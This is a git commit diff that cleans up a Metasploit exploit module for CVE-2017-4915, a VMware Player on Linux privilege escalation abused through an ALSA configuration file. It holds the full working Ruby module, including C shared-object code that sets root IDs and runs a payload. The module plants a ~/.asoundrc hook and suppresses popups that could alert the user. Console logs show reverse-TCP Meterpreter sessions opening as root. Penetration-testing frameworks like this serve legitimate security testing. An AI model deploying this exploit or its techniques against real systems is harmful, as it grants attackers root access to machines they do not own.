Land #11137, Clean up linux/local/vmware_alsa_config exploit module

This commit is contained in:
Brent Cook 2018-12-21 17:04:11 -06:00
commit b9742802aa
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
2 changed files with 219 additions and 135 deletions

View File

@ -1,15 +1,22 @@
## Description
This module exploits a vulnerability in VMware Workstation Pro and Player before version 12.5.6 on Linux which allows users to escalate their privileges by using an ALSA configuration file to load and execute a shared object as root when launching a virtual machine with an attached sound card.
This module exploits a vulnerability in VMware Workstation Pro and
Player on Linux which allows users to escalate their privileges by
using an ALSA configuration file to load and execute a shared object
as `root` when launching a virtual machine with an attached sound card.
## Vulnerable Application
VMware Workstation Pro and VMware Workstation Player are the industry standard for running multiple operating systems as virtual machines on a single PC. Thousands of IT professionals, developers and businesses use Workstation Pro and Workstation Player to be more agile, more productive and more secure every day.
VMware Workstation Pro and VMware Workstation Player are the industry
standard for running multiple operating systems as virtual machines on
a single PC. Thousands of IT professionals, developers and businesses
use Workstation Pro and Workstation Player to be more agile, more
productive and more secure every day.
This module has been tested successfully on:
* VMware Player version 12.5.0 on Debian Linux
* VMware Player version 12.5.0 on Debian Linux 8 Jessie
## Verification Steps
@ -20,7 +27,7 @@
4. Do: `set SESSION [SESSION]`
5. Do: `check`
6. Do: `run`
7. You should get a new root session
7. You should get a new `root` session
## Options
@ -33,31 +40,72 @@
A writable directory file system path. (default: `/tmp`)
**Xdisplay**
Display exploit will attempt to use (default: `:0`)
## Scenarios
### Command Shell Session - VMware Player 12.5.0 (Debian 8 Jessie)
```
msf exploit(vmware_alsa_config) > check
msf5 > use exploit/linux/local/vmware_alsa_config
msf5 exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188
lhost => 172.16.191.188
msf5 exploit(linux/local/vmware_alsa_config) > set session 1
session => 1
msf5 exploit(linux/local/vmware_alsa_config) > run
[!] SESSION may not be compatible with this module.
[+] Target version is vulnerable
[+] The target is vulnerable.
msf exploit(vmware_alsa_config) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.181:4444
[+] Target version is vulnerable
[*] Started reverse TCP handler on 172.16.191.188:4444
[*] Writing '/tmp/pSvQHD5S5fh/afLaYVIoUm.so.c' (526 bytes) ...
[*] Writing '/tmp/pSvQHD5S5fh/pSvQHD5S5fh.vmx' (560 bytes) ...
[*] Writing '/tmp/pSvQHD5S5fh/jl7XmpZWdE' (964720 bytes) ...
[*] Writing '/home/user/.asoundrc' (116 bytes) ...
[*] Launching VMware Player...
[*] Meterpreter session 2 opened (172.16.191.181:4444 -> 172.16.191.221:33807) at 2017-06-23 08:22:11 -0400
[*] Removing /tmp/.baVu7FwzlaIQyp
[*] Removing /home/user/.asoundrc
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.208:57796) at 2018-12-17 02:43:22 -0500
[+] Deleted /home/user/.asoundrc
[+] Deleted /home/user/Desktop/~/.vmware/preferences
[!] Attempting to delete working directory /tmp/pSvQHD5S5fh
[-] Exploit failed: negative array size (or size too big)
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.191.221
Computer : 172.16.191.208
OS : Debian 8.8 (Linux 3.16.0-4-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
### Meterpreter Session - VMware Player 12.5.0 (Debian 8 Jessie)
```
msf5 > use exploit/linux/local/vmware_alsa_config
msf5 exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188
lhost => 172.16.191.188
msf5 exploit(linux/local/vmware_alsa_config) > set session 1
session => 1
msf5 exploit(linux/local/vmware_alsa_config) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[*] Writing '/tmp/5irkXF31Iw/GHAPsWBkjix.so.c' (527 bytes) ...
[*] Writing '/tmp/5irkXF31Iw/5irkXF31Iw.vmx' (558 bytes) ...
[*] Writing '/tmp/5irkXF31Iw/Rxqj9taEcXol' (964720 bytes) ...
[*] Writing '/home/user/.asoundrc' (116 bytes) ...
[*] Launching VMware Player...
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.208:57799) at 2018-12-17 02:46:39 -0500
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.191.208
OS : Debian 8.8 (Linux 3.16.0-4-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```

View File

@ -6,8 +6,11 @@
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
@ -20,13 +23,14 @@ class MetasploitModule < Msf::Exploit::Local
as root when launching a virtual machine with an attached sound card.
This module has been tested successfully on VMware Player version
12.5.0 on Debian Linux.
12.5.0 on Debian Linux 8 Jessie.
},
'References' =>
[
[ 'CVE', '2017-4915' ],
[ 'EDB', '42045' ],
[ 'BID', '98566' ],
[ 'URL', 'https://www.securitytracker.com/id/1038525' ],
[ 'URL', 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ]
@ -34,8 +38,8 @@ class MetasploitModule < Msf::Exploit::Local
'License' => MSF_LICENSE,
'Author' =>
[
'Jann Horn', # Discovery and PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
'Jann Horn', # Discovery and PoC
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'May 22 2017',
'Platform' => 'linux',
@ -46,86 +50,137 @@ class MetasploitModule < Msf::Exploit::Local
],
'DefaultOptions' =>
{
'Payload' => 'linux/x64/meterpreter_reverse_tcp',
'AppendExit' => true,
'PrependFork' => true,
'WfsDelay' => 30,
'PrependFork' => true
'Payload' => 'linux/x64/meterpreter_reverse_tcp'
},
'DefaultTarget' => 1,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => true ))
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
OptString.new('Xdisplay', [true, 'Display exploit will attempt to use', ':0'])
]
end
def has_prereqs?
vmplayer = cmd_exec 'which vmplayer'
if vmplayer.include? 'vmplayer'
vprint_good 'vmplayer is installed'
else
print_error 'vmplayer is not installed. Exploitation will fail.'
return false
def base_dir
datastore['WritableDir'].to_s
end
def mkdir(path)
vprint_status "Creating '#{path}' directory"
cmd_exec "mkdir -p #{path}"
register_dir_for_cleanup path
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
chmod path
end
def strip_comments(c_code)
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
end
def upload_and_compile(path, data, gcc_args='')
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
gcc = cmd_exec 'which gcc'
if gcc.include? 'gcc'
vprint_good 'gcc is installed'
else
print_error 'gcc is not installed. Compiling will fail.'
return false
unless gcc_args.to_s.blank?
gcc_cmd << " #{gcc_args}"
end
true
output = cmd_exec gcc_cmd
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end
register_file_for_cleanup path
chmod path
end
def check
unless has_prereqs?
print_error 'Target missing prerequisites'
unless command_exists? '/usr/bin/vmplayer'
print_error 'vmplayer is not installed. Exploitation will fail.'
return CheckCode::Safe
end
vprint_good 'vmplayer is installed'
unless has_gcc?
print_error 'gcc is not installed. Compiling will fail.'
return CheckCode::Safe
end
vprint_good 'gcc is installed'
config = read_file('/etc/vmware/config') rescue ''
if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/
version = Gem::Version.new $1.gsub(/\.$/, '')
vprint_status "VMware is version #{version}"
else
vprint_error 'Could not determine VMware version.'
return CheckCode::Detected
end
if version >= Gem::Version.new('12.5.6')
vprint_error 'Target version is not vulnerable'
return CheckCode::Safe
end
begin
config = read_file '/etc/vmware/config'
rescue
config = ''
end
if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/
@version = Gem::Version.new $1.gsub(/\.$/, '')
vprint_status "VMware is version #{@version}"
else
print_error "Could not determine VMware version."
return CheckCode::Unknown
end
if @version < Gem::Version.new('12.5.6')
print_good 'Target version is vulnerable'
return CheckCode::Vulnerable
end
print_error 'Target version is not vulnerable'
CheckCode::Safe
CheckCode::Appears
end
def exploit
if check == CheckCode::Safe
print_error 'Target machine is not vulnerable'
return
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
@home_dir = cmd_exec 'echo ${HOME}'
unless @home_dir
print_error "Could not find user's home directory"
return
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
@prefs_file = "#{@home_dir}/.vmware/preferences"
fname = ".#{rand_text_alphanumeric rand(10) + 5}"
@base_dir = "#{datastore['WritableDir']}/#{fname}"
cmd_exec "mkdir #{@base_dir}"
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
so = %Q^
home_dir = cmd_exec 'PATH=$PATH:/usr/bin getent passwd `id -un` | cut -d: -f6'
if home_dir.blank?
fail_with Failure::Unknown, "Could not find user's home directory"
end
unless writable? home_dir
fail_with Failure::BadConfig, "#{home_dir} is not writable"
end
# Create a directory for the virtual machine and associated files
vmx_name = rand_text_alphanumeric(10..15)
vm_dir = "#{base_dir}/#{vmx_name}"
mkdir vm_dir
# Create shared object
payload_name = rand_text_alphanumeric(10..15)
so_name = rand_text_alphanumeric(10..15)
so = <<-EOF
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142
Original shared object code by jhorn
@ -149,22 +204,16 @@ __attribute__((constructor)) void run(void) {
if (ruid == 0 || euid == 0 || suid == 0) {
if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
err(1, "setresxid");
system("#{@base_dir}/#{fname}.elf");
system("#{vm_dir}/#{payload_name}");
_exit(0);
}
}
^
vprint_status "Writing #{@base_dir}/#{fname}.c"
write_file "#{@base_dir}/#{fname}.c", so
EOF
vprint_status "Compiling #{@base_dir}/#{fname}.o"
output = cmd_exec "gcc -fPIC -shared -o #{@base_dir}/#{fname}.so #{@base_dir}/#{fname}.c -Wall -ldl -std=gnu99"
unless output == ''
print_error "Compilation failed: #{output}"
return
end
upload_and_compile "#{vm_dir}/#{so_name}.so", strip_comments(so), '-fPIC -shared -Wall -ldl -std=gnu99'
vmx = %Q|
# Create virtual machine
vmx = <<-EOF
.encoding = "UTF-8"
config.version = "8"
virtualHW.version = "8"
@ -176,9 +225,9 @@ sound.fileName = "-1"
sound.autodetect = "TRUE"
vmci0.present = "FALSE"
hpet0.present = "FALSE"
displayName = "#{fname}"
displayName = "#{vmx_name}"
guestOS = "other"
nvram = "#{fname}.nvram"
nvram = "#{vmx_name}.nvram"
virtualHW.productCompatibility = "hosted"
gui.exitOnCLIHLT = "FALSE"
powerType.powerOff = "soft"
@ -187,75 +236,62 @@ powerType.suspend = "soft"
powerType.reset = "soft"
floppy0.present = "FALSE"
monitor_control.disable_longmode = 1
|
vprint_status "Writing #{@base_dir}/#{fname}.vmx"
write_file "#{@base_dir}/#{fname}.vmx", vmx
EOF
vprint_status "Writing #{@base_dir}/#{fname}.elf"
write_file "#{@base_dir}/#{fname}.elf", generate_payload_exe
upload "#{vm_dir}/#{vmx_name}.vmx", vmx
upload_and_chmodx "#{vm_dir}/#{payload_name}", generate_payload_exe
vprint_status "Setting #{@base_dir}/#{fname}.elf executable"
cmd_exec "chmod +x #{@base_dir}/#{fname}.elf"
asoundrc = %Q|
# Create ALSA sound config
asoundrc = <<-EOF
hook_func.pulse_load_if_running {
lib "#{@base_dir}/#{fname}.so"
lib "#{vm_dir}/#{so_name}.so"
func "conf_pulse_hook_load_if_running"
}
|
vprint_status "Writing #{@home_dir}/.asoundrc"
write_file "#{@home_dir}/.asoundrc", asoundrc
EOF
vprint_status 'Disabling VMware hint popups'
unless directory? "#{@home_dir}/.vmware"
cmd_exec "mkdir #{@home_dir}/.vmware"
@remove_prefs_dir = true
upload "#{home_dir}/.asoundrc", asoundrc
# Hint popups must be disabled.
# Popups may cause the VMplayer process to hang open, awaiting input. They may also alert the user.
# Also, firstRunDismissedVersion must be set to prevent registration popups on a fresh install.
#
# VMware uses '~' to determine the user's home directory when reading the preferences file:
# stat("~/.vmware/preferences", 0x7fffd18da340) = -1 ENOENT (No such file or directory)
# open("~/.vmware/preferences", O_RDONLY) = -1 ENOENT (No such file or directory)
#
# If we're executing in a shell without '~' expansion,
# then we'll need to create this directory in the current working directory.
vprint_status 'Disabling VMware popups...'
unless cmd_exec("test -d ~ && echo true").include? 'true'
mkdir '~'
end
unless cmd_exec("test -d ~/.vmware && echo true").include? 'true'
mkdir '~/.vmware'
end
if file? @prefs_file
begin
prefs = read_file @prefs_file
rescue
prefs = ''
end
# Expand '~' to the appropriate full directory path and parse preferences
prefs_file = cmd_exec "PATH=$PATH:/usr/bin realpath ~/.vmware/preferences"
unless file? prefs_file
cmd_exec "touch #{prefs_file}"
register_file_for_cleanup prefs_file
end
prefs = cmd_exec("cat #{prefs_file}").to_s
if prefs.blank?
prefs = ".encoding = \"UTF8\"\n"
prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n"
prefs << "hints.hideAll = \"TRUE\"\n"
@remove_prefs_file = true
elsif prefs =~ /hints\.hideAll/i
prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"')
else
prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n")
end
vprint_status "Writing #{@prefs_file}"
write_file "#{@prefs_file}", prefs
vprint_status "Writing config file: #{prefs_file}"
write_file prefs_file, prefs
# Launch VMware in the background to prevent the existing session from dying
print_status 'Launching VMware Player...'
cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx"
end
def cleanup
print_status "Removing #{@base_dir} directory"
cmd_exec "rm '#{@base_dir}' -rf"
print_status "Removing #{@home_dir}/.asoundrc"
cmd_exec "rm '#{@home_dir}/.asoundrc'"
if @remove_prefs_dir
print_status "Removing #{@home_dir}/.vmware directory"
cmd_exec "rm '#{@home_dir}/.vmware' -rf"
elsif @remove_prefs_file
print_status "Removing #{@prefs_file}"
cmd_exec "rm '#{@prefs_file}' -rf"
end
end
def on_new_session(session)
# if we don't /bin/sh here, our payload times out
session.shell_command_token '/bin/sh'
super
cmd_exec "DISPLAY=#{datastore['Xdisplay']} PATH=$PATH:/usr/bin vmplayer #{vm_dir}/#{vmx_name}.vmx & echo "
end
end